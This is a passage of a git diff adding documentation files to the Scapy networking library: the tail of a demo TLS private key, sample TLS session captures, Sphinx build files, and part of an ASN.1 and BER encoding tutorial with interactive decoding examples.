+916iTN9rvi1Gk518vyFPsYjX9pPiQIayRBQKOXSYIkY+6rj2384XPRlZrN8D9n3Q
++An1JXfdGwKBgDs3YjqpnD3i35S4BkMoLUl2x6rl5m4AGeJUp6ipc0CD+G57FXA/
+aieZ5rec7qmbzOFxVLz6e03/Ipo5CEoQQTsjoF7V74SFHSyzQ2/SJao4aeCGT+52
+83yhlah9sLO9bZShMep2tbvg+3RWrOQ+lMC0VRXCxE4QDtpGsjY7Jsk/AoGAPstV
+iOa4O6U/rBn8zpcPKxkS51u42MuQqW7s4HMLENFVyVjm0YR6pfEqztKMrB6584Wk
+1Cn6PBW2vx4f+fAqEvX7x340M2y1r7DaS22gSBjy0C1Hu0rFNPRrESo/AUVlI3BG
+RqQbm0YqwcYs+DjZi8bgc7HX5kljlzMjo8QLagECgYA1DHAWv4WVrHt4I8V4ZCth
+9DZEtEOFpYjuoFh/xSIMZLsnvWRuyYVWcQwAqmK0Ew4m5opHFsQzABeGLVsK5aHX
+zmbYiRUuZGVpyc7c5XXomw50X8ajfQ+P21OPPc33h96cdHi2qbJIejZPia6A6ThU
+u13D93hAM6bzH6Ds5FPUQw==
+-----END PRIVATE KEY-----
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/01_cli.raw b/doc/notebooks/tls/raw_data/tls_session_13/01_cli.raw
new file mode 100644
index 0000000..7202694
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_13/01_cli.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/02_srv.raw b/doc/notebooks/tls/raw_data/tls_session_13/02_srv.raw
new file mode 100644
index 0000000..3c11972
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_13/02_srv.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/03_cli.raw b/doc/notebooks/tls/raw_data/tls_session_13/03_cli.raw
new file mode 100644
index 0000000..b526cd7
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_13/03_cli.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/04_srv.raw b/doc/notebooks/tls/raw_data/tls_session_13/04_srv.raw
new file mode 100644
index 0000000..469e99d
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_13/04_srv.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/05_srv.raw b/doc/notebooks/tls/raw_data/tls_session_13/05_srv.raw
new file mode 100644
index 0000000..03253fc
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_13/05_srv.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/06_cli.raw b/doc/notebooks/tls/raw_data/tls_session_13/06_cli.raw
new file mode 100644
index 0000000..127631c
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_13/06_cli.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/07_srv.raw b/doc/notebooks/tls/raw_data/tls_session_13/07_srv.raw
new file mode 100644
index 0000000..99f5f8d
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_13/07_srv.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/08_cli.raw b/doc/notebooks/tls/raw_data/tls_session_13/08_cli.raw
new file mode 100644
index 0000000..7d2a14f
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_13/08_cli.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_13/cli_key.raw b/doc/notebooks/tls/raw_data/tls_session_13/cli_key.raw
new file mode 100644
index 0000000..46873d5
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_13/cli_key.raw
@@ -0,0 +1 @@
+úHÑSÉÿ؝ÿ`¡6&]9Ÿ©ñ-vmB¦ÈN
\ No newline at end of file
diff --git a/doc/notebooks/tls/raw_data/tls_session_compromised/01_cli.raw b/doc/notebooks/tls/raw_data/tls_session_compromised/01_cli.raw
new file mode 100644
index 0000000..1b79592
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_compromised/01_cli.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_compromised/02_srv.raw b/doc/notebooks/tls/raw_data/tls_session_compromised/02_srv.raw
new file mode 100644
index 0000000..229cb52
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_compromised/02_srv.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_compromised/03_cli.raw b/doc/notebooks/tls/raw_data/tls_session_compromised/03_cli.raw
new file mode 100644
index 0000000..ef4ce69
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_compromised/03_cli.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_compromised/04_srv.raw b/doc/notebooks/tls/raw_data/tls_session_compromised/04_srv.raw
new file mode 100644
index 0000000..f798955
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_compromised/04_srv.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_compromised/05_cli.raw b/doc/notebooks/tls/raw_data/tls_session_compromised/05_cli.raw
new file mode 100644
index 0000000..5093c28
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_compromised/05_cli.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_protected/01_cli.raw b/doc/notebooks/tls/raw_data/tls_session_protected/01_cli.raw
new file mode 100644
index 0000000..a9080e8
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_protected/01_cli.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_protected/02_srv.raw b/doc/notebooks/tls/raw_data/tls_session_protected/02_srv.raw
new file mode 100644
index 0000000..54191d0
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_protected/02_srv.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_protected/03_srv.raw b/doc/notebooks/tls/raw_data/tls_session_protected/03_srv.raw
new file mode 100644
index 0000000..282b588
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_protected/03_srv.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_protected/04_srv.raw b/doc/notebooks/tls/raw_data/tls_session_protected/04_srv.raw
new file mode 100644
index 0000000..3af6ae2
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_protected/04_srv.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_protected/05_cli.raw b/doc/notebooks/tls/raw_data/tls_session_protected/05_cli.raw
new file mode 100644
index 0000000..8033eec
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_protected/05_cli.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_protected/06_srv.raw b/doc/notebooks/tls/raw_data/tls_session_protected/06_srv.raw
new file mode 100644
index 0000000..0578729
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_protected/06_srv.raw
Binary files differ
diff --git a/doc/notebooks/tls/raw_data/tls_session_protected/07_cli.raw b/doc/notebooks/tls/raw_data/tls_session_protected/07_cli.raw
new file mode 100644
index 0000000..133d484
--- /dev/null
+++ b/doc/notebooks/tls/raw_data/tls_session_protected/07_cli.raw
Binary files differ
diff --git a/doc/scapy.1.gz b/doc/scapy.1.gz
new file mode 100644
index 0000000..042526a
--- /dev/null
+++ b/doc/scapy.1.gz
Binary files differ
diff --git a/doc/scapy/BuildDoc.bat b/doc/scapy/BuildDoc.bat
new file mode 100644
index 0000000..8b81d8c
--- /dev/null
+++ b/doc/scapy/BuildDoc.bat
@@ -0,0 +1,22 @@
+@echo off
+title Build scapy docs
+set /P CLEAR=Clear build ? (y/n) [y] 
+If /I "%CLEAR%"=="y" goto yes 
+If /I "%CLEAR%"=="" goto yes 
+If /I "%CLEAR%"=="n" goto no
+
+echo Unknown answer !
+PAUSE
+exit
+
+:yes
+del /F /Q /S _build >nul 2>&1
+echo Build cleared !
+:no
+mkdir _build >nul 2>&1
+cd _build
+mkdir html doctrees pickle >nul 2>&1
+cd ..
+sphinx-build -b pickle -d _build/doctrees . _build/pickle
+sphinx-build -b html -d _build/doctrees . _build/html
+PAUSE
diff --git a/doc/scapy/Makefile b/doc/scapy/Makefile
new file mode 100644
index 0000000..e9c11d0
--- /dev/null
+++ b/doc/scapy/Makefile
@@ -0,0 +1,70 @@
+# Makefile for Sphinx documentation
+#
+
+# You can set these variables from the command line.
+SPHINXOPTS    =
+SPHINXBUILD   = sphinx-build
+PAPER         =
+
+# Internal variables.
+PAPEROPT_a4     = -D latex_paper_size=a4
+PAPEROPT_letter = -D latex_paper_size=letter
+ALLSPHINXOPTS   = -d _build/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) .
+
+.PHONY: help clean html web pickle htmlhelp latex changes linkcheck
+
+help:
+	@echo "Please use \`make <target>' where <target> is one of"
+	@echo "  html      to make standalone HTML files"
+	@echo "  pickle    to make pickle files (usable by e.g. sphinx-web)"
+	@echo "  htmlhelp  to make HTML files and a HTML help project"
+	@echo "  latex     to make LaTeX files, you can set PAPER=a4 or PAPER=letter"
+	@echo "  changes   to make an overview over all changed/added/deprecated items"
+	@echo "  linkcheck to check all external links for integrity"
+
+clean:
+	-rm -rf _build/*
+
+html:
+	mkdir -p _build/html _build/doctrees
+	$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) _build/html
+	@echo
+	@echo "Build finished. The HTML pages are in _build/html."
+
+pickle:
+	mkdir -p _build/pickle _build/doctrees
+	$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) _build/pickle
+	@echo
+	@echo "Build finished; now you can process the pickle files or run"
+	@echo "  sphinx-web _build/pickle"
+	@echo "to start the sphinx-web server."
+
+web: pickle
+
+htmlhelp:
+	mkdir -p _build/htmlhelp _build/doctrees
+	$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) _build/htmlhelp
+	@echo
+	@echo "Build finished; now you can run HTML Help Workshop with the" \
+	      ".hhp project file in _build/htmlhelp."
+
+latex:
+	mkdir -p _build/latex _build/doctrees
+	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) _build/latex
+	@echo
+	@echo "Build finished; the LaTeX files are in _build/latex."
+	@echo "Run \`make all-pdf' or \`make all-ps' in that directory to" \
+	      "run these through (pdf)latex."
+
+changes:
+	mkdir -p _build/changes _build/doctrees
+	$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) _build/changes
+	@echo
+	@echo "The overview file is in _build/changes."
+
+linkcheck:
+	mkdir -p _build/linkcheck _build/doctrees
+	$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) _build/linkcheck
+	@echo
+	@echo "Link check complete; look for any errors in the above output " \
+	      "or in _build/linkcheck/output.txt."
diff --git a/doc/scapy/README b/doc/scapy/README
new file mode 100644
index 0000000..b343359
--- /dev/null
+++ b/doc/scapy/README
@@ -0,0 +1,19 @@
+This folder includes source files (text and graphics) for Scapy's documentation,
+which is automatically built using Sphinx <http://sphinx.pocoo.org/>
+
+The *.rst files are written as reStructuredText and should be quite readable
+in your favourite text editor without any further formatting.
+
+To generate much nicer, searchable HTML docs, install Sphinx, open a command 
+line, change to the directory where this README is placed, and type the
+following command:
+
+  $ make html
+
+To generate a single PDF file (useful for printing) you need a working
+LaTeX installation (e.g. <http://www.tug.org/texlive/>). 
+The following commands produce the file Scapy.pdf (>100 pages):
+
+  $ make latex
+  $ cd _build/latex
+  $ make all-pdf
\ No newline at end of file
diff --git a/doc/scapy/_static/_dummy b/doc/scapy/_static/_dummy
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/doc/scapy/_static/_dummy
diff --git a/doc/scapy/_templates/_dummy b/doc/scapy/_templates/_dummy
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/doc/scapy/_templates/_dummy
diff --git a/doc/scapy/advanced_usage.rst b/doc/scapy/advanced_usage.rst
new file mode 100644
index 0000000..531d4a8
--- /dev/null
+++ b/doc/scapy/advanced_usage.rst
@@ -0,0 +1,1088 @@
+**************
+Advanced usage
+**************
+
+ASN.1 and SNMP
+==============
+
+What is ASN.1?
+--------------
+
+.. note::
+
+   This is only my view on ASN.1, explained as simply as possible. For more theoretical or academic views, I'm sure you'll find better on the Internet.
+
+ASN.1 is a notation whose goal is to specify formats for data exchange. It is independent of the way data is encoded. Data encoding is specified in Encoding Rules.
+
+The most used encoding rules are BER (Basic Encoding Rules) and DER (Distinguished Encoding Rules). Both look the same, but the latter is specified to guarantee uniqueness of encoding. This property is quite interesting when speaking about cryptography, hashes and signatures.
+
+ASN.1 provides basic objects: integers, many kinds of strings, floats, booleans, containers, etc. They are grouped in the so called Universal class. A given protocol can provide other objects which will be grouped in the Context class. For example, SNMP defines PDU_GET or PDU_SET objects. There are also the Application and Private classes.
+
+Each of theses objects is given a tag that will be used by the encoding rules. Tags from 1 are used for Universal class. 1 is boolean, 2 is integer, 3 is a bit string, 6 is an OID, 48 is for a sequence. Tags from the ``Context`` class begin at 0xa0. When encountering an object tagged by 0xa0, we'll need to know the context to be able to decode it. For example, in SNMP context, 0xa0 is a PDU_GET object, while in X509 context, it is a container for the certificate version.
+
+Other objects are created by assembling all those basic brick objects. The composition is done using sequences and arrays (sets) of previously defined or existing objects. The final object (an X509 certificate, a SNMP packet) is a tree whose non-leaf nodes are sequences and sets objects (or derived context objects), and whose leaf nodes are integers, strings, OID, etc.
+
+Scapy and ASN.1
+---------------
+
+Scapy provides a way to easily encode or decode ASN.1 and also program those encoders/decoders. It is quite more lax than what an ASN.1 parser should be, and it kind of ignores constraints. It won't replace neither an ASN.1 parser nor an ASN.1 compiler. Actually, it has been written to be able to encode and decode broken ASN.1. It can handle corrupted encoded strings and can also create those.
+
+ASN.1 engine
+^^^^^^^^^^^^
+
+Note: many of the classes definitions presented here use metaclasses. If you don't look precisely at the source code and you only rely on my captures, you may think they sometimes exhibit a kind of magic behaviour.
+``
+Scapy ASN.1 engine provides classes to link objects and their tags. They inherit from the ``ASN1_Class``. The first one is ``ASN1_Class_UNIVERSAL``, which provide tags for most Universal objects. Each new context (``SNMP``, ``X509``) will inherit from it and add its own objects.
+
+::
+
+    class ASN1_Class_UNIVERSAL(ASN1_Class):
+        name = "UNIVERSAL"
+    # [...]
+        BOOLEAN = 1
+        INTEGER = 2
+        BIT_STRING = 3
+    # [...]
+
+    class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL):
+        name="SNMP"
+        PDU_GET = 0xa0
+        PDU_NEXT = 0xa1
+        PDU_RESPONSE = 0xa2
+    
+    class ASN1_Class_X509(ASN1_Class_UNIVERSAL):
+        name="X509"
+        CONT0 = 0xa0
+        CONT1 = 0xa1
+    # [...]
+
+All ASN.1 objects are represented by simple Python instances that act as nutshells for the raw values. The simple logic is handled by ``ASN1_Object`` whose they inherit from. Hence they are quite simple::
+
+    class ASN1_INTEGER(ASN1_Object):
+        tag = ASN1_Class_UNIVERSAL.INTEGER
+    
+    class ASN1_STRING(ASN1_Object):
+        tag = ASN1_Class_UNIVERSAL.STRING
+    
+    class ASN1_BIT_STRING(ASN1_STRING):
+        tag = ASN1_Class_UNIVERSAL.BIT_STRING
+
+These instances can be assembled to create an ASN.1 tree::
+
+    >>> x=ASN1_SEQUENCE([ASN1_INTEGER(7),ASN1_STRING("egg"),ASN1_SEQUENCE([ASN1_BOOLEAN(False)])])
+    >>> x
+    <ASN1_SEQUENCE[[<ASN1_INTEGER[7]>, <ASN1_STRING['egg']>, <ASN1_SEQUENCE[[<ASN1_BOOLEAN[False]>]]>]]>
+    >>> x.show()
+    # ASN1_SEQUENCE:
+      <ASN1_INTEGER[7]>
+      <ASN1_STRING['egg']>
+      # ASN1_SEQUENCE:
+        <ASN1_BOOLEAN[False]>
+
+Encoding engines
+^^^^^^^^^^^^^^^^^
+
+As with the standard, ASN.1 and encoding are independent. We have just seen how to create a compounded ASN.1 object. To encode or decode it, we need to choose an encoding rule. Scapy provides only BER for the moment (actually, it may be DER. DER looks like BER except only minimal encoding is authorised which may well be what I did). I call this an ASN.1 codec.
+
+Encoding and decoding are done using class methods provided by the codec. For example the ``BERcodec_INTEGER`` class provides a ``.enc()`` and a ``.dec()`` class methods that can convert between an encoded string and a value of their type. They all inherit from BERcodec_Object which is able to decode objects from any type::
+
+    >>> BERcodec_INTEGER.enc(7)
+    '\x02\x01\x07'
+    >>> BERcodec_BIT_STRING.enc("egg")
+    '\x03\x03egg'
+    >>> BERcodec_STRING.enc("egg")
+    '\x04\x03egg'
+    >>> BERcodec_STRING.dec('\x04\x03egg')
+    (<ASN1_STRING['egg']>, '')
+    >>> BERcodec_STRING.dec('\x03\x03egg')
+    Traceback (most recent call last):
+      File "<console>", line 1, in ?
+      File "/usr/bin/scapy", line 2099, in dec
+        return cls.do_dec(s, context, safe)
+      File "/usr/bin/scapy", line 2178, in do_dec
+        l,s,t = cls.check_type_check_len(s)
+      File "/usr/bin/scapy", line 2076, in check_type_check_len
+        l,s3 = cls.check_type_get_len(s)
+      File "/usr/bin/scapy", line 2069, in check_type_get_len
+        s2 = cls.check_type(s)
+      File "/usr/bin/scapy", line 2065, in check_type
+        (cls.__name__, ord(s[0]), ord(s[0]),cls.tag), remaining=s)
+    BER_BadTag_Decoding_Error: BERcodec_STRING: Got tag [3/0x3] while expecting <ASN1Tag STRING[4]>
+    ### Already decoded ###
+    None
+    ### Remaining ###
+    '\x03\x03egg'
+    >>> BERcodec_Object.dec('\x03\x03egg')
+    (<ASN1_BIT_STRING['egg']>, '')
+
+ASN.1 objects are encoded using their ``.enc()`` method. This method must be called with the codec we want to use. All codecs are referenced in the ASN1_Codecs object. ``raw()`` can also be used. In this case, the default codec (``conf.ASN1_default_codec``) will be used.
+
+::
+
+    >>> x.enc(ASN1_Codecs.BER)
+    '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00'
+    >>> raw(x)
+    '0\r\x02\x01\x07\x04\x03egg0\x03\x01\x01\x00'
+    >>> xx,remain = BERcodec_Object.dec(_)
+    >>> xx.show()
+    # ASN1_SEQUENCE:
+      <ASN1_INTEGER[7L]>
+      <ASN1_STRING['egg']>
+      # ASN1_SEQUENCE:
+        <ASN1_BOOLEAN[0L]>
+
+    >>> remain
+    ''
+
+By default, decoding is done using the ``Universal`` class, which means objects defined in the ``Context`` class will not be decoded. There is a good reason for that: the decoding depends on the context!
+
+::
+
+    >>> cert="""
+    ... MIIF5jCCA86gAwIBAgIBATANBgkqhkiG9w0BAQUFADCBgzELMAkGA1UEBhMC
+    ... VVMxHTAbBgNVBAoTFEFPTCBUaW1lIFdhcm5lciBJbmMuMRwwGgYDVQQLExNB
+    ... bWVyaWNhIE9ubGluZSBJbmMuMTcwNQYDVQQDEy5BT0wgVGltZSBXYXJuZXIg
+    ... Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAyMB4XDTAyMDUyOTA2MDAw
+    ... MFoXDTM3MDkyODIzNDMwMFowgYMxCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRB
+    ... T0wgVGltZSBXYXJuZXIgSW5jLjEcMBoGA1UECxMTQW1lcmljYSBPbmxpbmUg
+    ... SW5jLjE3MDUGA1UEAxMuQU9MIFRpbWUgV2FybmVyIFJvb3QgQ2VydGlmaWNh
+    ... dGlvbiBBdXRob3JpdHkgMjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoC
+    ... ggIBALQ3WggWmRToVbEbJGv8x4vmh6mJ7ouZzU9AhqS2TcnZsdw8TQ2FTBVs
+    ... RotSeJ/4I/1n9SQ6aF3Q92RhQVSji6UI0ilbm2BPJoPRYxJWSXakFsKlnUWs
+    ... i4SVqBax7J/qJBrvuVdcmiQhLE0OcR+mrF1FdAOYxFSMFkpBd4aVdQxHAWZg
+    ... /BXxD+r1FHjHDtdugRxev17nOirYlxcwfACtCJ0zr7iZYYCLqJV+FNwSbKTQ
+    ... 2O9ASQI2+W6p1h2WVgSysy0WVoaP2SBXgM1nEG2wTPDaRrbqJS5Gr42whTg0
+    ... ixQmgiusrpkLjhTXUr2eacOGAgvqdnUxCc4zGSGFQ+aJLZ8lN2fxI2rSAG2X
+    ... +Z/nKcrdH9cG6rjJuQkhn8g/BsXS6RJGAE57COtCPStIbp1n3UsC5ETzkxml
+    ... J85per5n0/xQpCyrw2u544BMzwVhSyvcG7mm0tCq9Stz+86QNZ8MUhy/XCFh
+    ... EVsVS6kkUfykXPcXnbDS+gfpj1bkGoxoigTTfFrjnqKhynFbotSg5ymFXQNo
+    ... Kk/SBtc9+cMDLz9l+WceR0DTYw/j1Y75hauXTLPXJuuWCpTehTacyH+BCQJJ
+    ... Kg71ZDIMgtG6aoIbs0t0EfOMd9afv9w3pKdVBC/UMejTRrkDfNoSTllkt1Ex
+    ... MVCgyhwn2RAurda9EGYrw7AiShJbAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMB
+    ... Af8wHQYDVR0OBBYEFE9pbQN+nZ8HGEO8txBO1b+pxCAoMB8GA1UdIwQYMBaA
+    ... FE9pbQN+nZ8HGEO8txBO1b+pxCAoMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG
+    ... 9w0BAQUFAAOCAgEAO/Ouyuguh4X7ZVnnrREUpVe8WJ8kEle7+z802u6teio0
+    ... cnAxa8cZmIDJgt43d15Ui47y6mdPyXSEkVYJ1eV6moG2gcKtNuTxVBFT8zRF
+    ... ASbI5Rq8NEQh3q0l/HYWdyGQgJhXnU7q7C+qPBR7V8F+GBRn7iTGvboVsNIY
+    ... vbdVgaxTwOjdaRITQrcCtQVBynlQboIOcXKTRuidDV29rs4prWPVVRaAMCf/
+    ... drr3uNZK49m1+VLQTkCpx+XCMseqdiThawVQ68W/ClTluUI8JPu3B5wwn3la
+    ... 5uBAUhX0/Kr0VvlEl4ftDmVyXr4m+02kLQgH3thcoNyBM5kYJRF3p+v9WAks
+    ... mWsbivNSPxpNSGDxoPYzAlOL7SUJuA0t7Zdz7NeWH45gDtoQmy8YJPamTQr5
+    ... O8t1wswvziRpyQoijlmn94IM19drNZxDAGrElWe6nEXLuA4399xOAU++CrYD
+    ... 062KRffaJ00psUjf5BHklka9bAI+1lHIlRcBFanyqqryvy9lG2/QuRqT9Y41
+    ... xICHPpQvZuTpqP9BnHAqTyo5GJUefvthATxRCC4oGKQWDzH9OmwjkyB24f0H
+    ... hdFbP9IcczLd+rn4jM8Ch3qaluTtT4mNU0OrDhPAARW0eTjb/G49nlG2uBOL
+    ... Z8/5fNkiHfZdxRwBL5joeiQYvITX+txyW/fBOmg=
+    ... """.decode("base64")
+    >>> (dcert,remain) = BERcodec_Object.dec(cert)
+    Traceback (most recent call last):
+      File "<console>", line 1, in ?
+      File "/usr/bin/scapy", line 2099, in dec
+        return cls.do_dec(s, context, safe)
+      File "/usr/bin/scapy", line 2094, in do_dec
+        return codec.dec(s,context,safe)
+      File "/usr/bin/scapy", line 2099, in dec
+        return cls.do_dec(s, context, safe)
+      File "/usr/bin/scapy", line 2218, in do_dec
+        o,s = BERcodec_Object.dec(s, context, safe)
+      File "/usr/bin/scapy", line 2099, in dec
+        return cls.do_dec(s, context, safe)
+      File "/usr/bin/scapy", line 2094, in do_dec
+        return codec.dec(s,context,safe)
+      File "/usr/bin/scapy", line 2099, in dec
+        return cls.do_dec(s, context, safe)
+      File "/usr/bin/scapy", line 2218, in do_dec
+        o,s = BERcodec_Object.dec(s, context, safe)
+      File "/usr/bin/scapy", line 2099, in dec
+        return cls.do_dec(s, context, safe)
+      File "/usr/bin/scapy", line 2092, in do_dec
+        raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p,t), remaining=s)
+    BER_Decoding_Error: Unknown prefix [a0] for ['\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H...']
+    ### Already decoded ###
+    [[]]
+    ### Remaining ###
+    '\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x000\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x1e\x17\r020529060000Z\x17\r370928234300Z0\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x82\x02"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x02\x0f\x000\x82\x02\n\x02\x82\x02\x01\x00\xb47Z\x08\x16\x99\x14\xe8U\xb1\x1b$k\xfc\xc7\x8b\xe6\x87\xa9\x89\xee\x8b\x99\xcdO@\x86\xa4\xb6M\xc9\xd9\xb1\xdc<M\r\x85L\x15lF\x8bRx\x9f\xf8#\xfdg\xf5$:h]\xd0\xf7daAT\xa3\x8b\xa5\x08\xd2)[\x9b`O&\x83\xd1c\x12VIv\xa4\x16\xc2\xa5\x9dE\xac\x8b\x84\x95\xa8\x16\xb1\xec\x9f\xea$\x1a\xef\xb9W\\\x9a$!,M\x0eq\x1f\xa6\xac]Et\x03\x98\xc4T\x8c\x16JAw\x86\x95u\x0cG\x01f`\xfc\x15\xf1\x0f\xea\xf5\x14x\xc7\x0e\xd7n\x81\x1c^\xbf^\xe7:*\xd8\x97\x170|\x00\xad\x08\x9d3\xaf\xb8\x99a\x80\x8b\xa8\x95~\x14\xdc\x12l\xa4\xd0\xd8\xef@I\x026\xf9n\xa9\xd6\x1d\x96V\x04\xb2\xb3-\x16V\x86\x8f\xd9 W\x80\xcdg\x10m\xb0L\xf0\xdaF\xb6\xea%.F\xaf\x8d\xb0\x8584\x8b\x14&\x82+\xac\xae\x99\x0b\x8e\x14\xd7R\xbd\x9ei\xc3\x86\x02\x0b\xeavu1\t\xce3\x19!\x85C\xe6\x89-\x9f%7g\xf1#j\xd2\x00m\x97\xf9\x9f\xe7)\xca\xdd\x1f\xd7\x06\xea\xb8\xc9\xb9\t!\x9f\xc8?\x06\xc5\xd2\xe9\x12F\x00N{\x08\xebB=+Hn\x9dg\xddK\x02\xe4D\xf3\x93\x19\xa5\'\xceiz\xbeg\xd3\xfcP\xa4,\xab\xc3k\xb9\xe3\x80L\xcf\x05aK+\xdc\x1b\xb9\xa6\xd2\xd0\xaa\xf5+s\xfb\xce\x905\x9f\x0cR\x1c\xbf\\!a\x11[\x15K\xa9$Q\xfc\xa4\\\xf7\x17\x9d\xb0\xd2\xfa\x07\xe9\x8fV\xe4\x1a\x8ch\x8a\x04\xd3|Z\xe3\x9e\xa2\xa1\xcaq[\xa2\xd4\xa0\xe7)\x85]\x03h*O\xd2\x06\xd7=\xf9\xc3\x03/?e\xf9g\x1eG@\xd3c\x0f\xe3\xd5\x8e\xf9\x85\xab\x97L\xb3\xd7&\xeb\x96\n\x94\xde\x856\x9c\xc8\x7f\x81\t\x02I*\x0e\xf5d2\x0c\x82\xd1\xbaj\x82\x1b\xb3Kt\x11\xf3\x8cw\xd6\x9f\xbf\xdc7\xa4\xa7U\x04/\xd41\xe8\xd3F\xb9\x03|\xda\x12NYd\xb7Q11P\xa0\xca\x1c\'\xd9\x10.\xad\xd6\xbd\x10f+\xc3\xb0"J\x12[\x02\x03\x01\x00\x01\xa3c0a0\x0f\x06\x03U\x1d\x13\x01\x01\xff\x04\x050\x03\x01\x01\xff0\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (0\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (0\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x01\x860\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x00\x03\x82\x02\x01\x00;\xf3\xae\xca\xe8.\x87\x85\xfbeY\xe7\xad\x11\x14\xa5W\xbcX\x9f$\x12W\xbb\xfb?4\xda\xee\xadz*4rp1k\xc7\x19\x98\x80\xc9\x82\xde7w^T\x8b\x8e\xf2\xeagO\xc9t\x84\x91V\t\xd5\xe5z\x9a\x81\xb6\x81\xc2\xad6\xe4\xf1T\x11S\xf34E\x01&\xc8\xe5\x1a\xbc4D!\xde\xad%\xfcv\x16w!\x90\x80\x98W\x9dN\xea\xec/\xaa<\x14{W\xc1~\x18\x14g\xee$\xc6\xbd\xba\x15\xb0\xd2\x18\xbd\xb7U\x81\xacS\xc0\xe8\xddi\x12\x13B\xb7\x02\xb5\x05A\xcayPn\x82\x0eqr\x93F\xe8\x9d\r]\xbd\xae\xce)\xadc\xd5U\x16\x800\'\xffv\xba\xf7\xb8\xd6J\xe3\xd9\xb5\xf9R\xd0N@\xa9\xc7\xe5\xc22\xc7\xaav$\xe1k\x05P\xeb\xc5\xbf\nT\xe5\xb9B<$\xfb\xb7\x07\x9c0\x9fyZ\xe6\xe0@R\x15\xf4\xfc\xaa\xf4V\xf9D\x97\x87\xed\x0eer^\xbe&\xfbM\xa4-\x08\x07\xde\xd8\\\xa0\xdc\x813\x99\x18%\x11w\xa7\xeb\xfdX\t,\x99k\x1b\x8a\xf3R?\x1aMH`\xf1\xa0\xf63\x02S\x8b\xed%\t\xb8\r-\xed\x97s\xec\xd7\x96\x1f\x8e`\x0e\xda\x10\x9b/\x18$\xf6\xa6M\n\xf9;\xcbu\xc2\xcc/\xce$i\xc9\n"\x8eY\xa7\xf7\x82\x0c\xd7\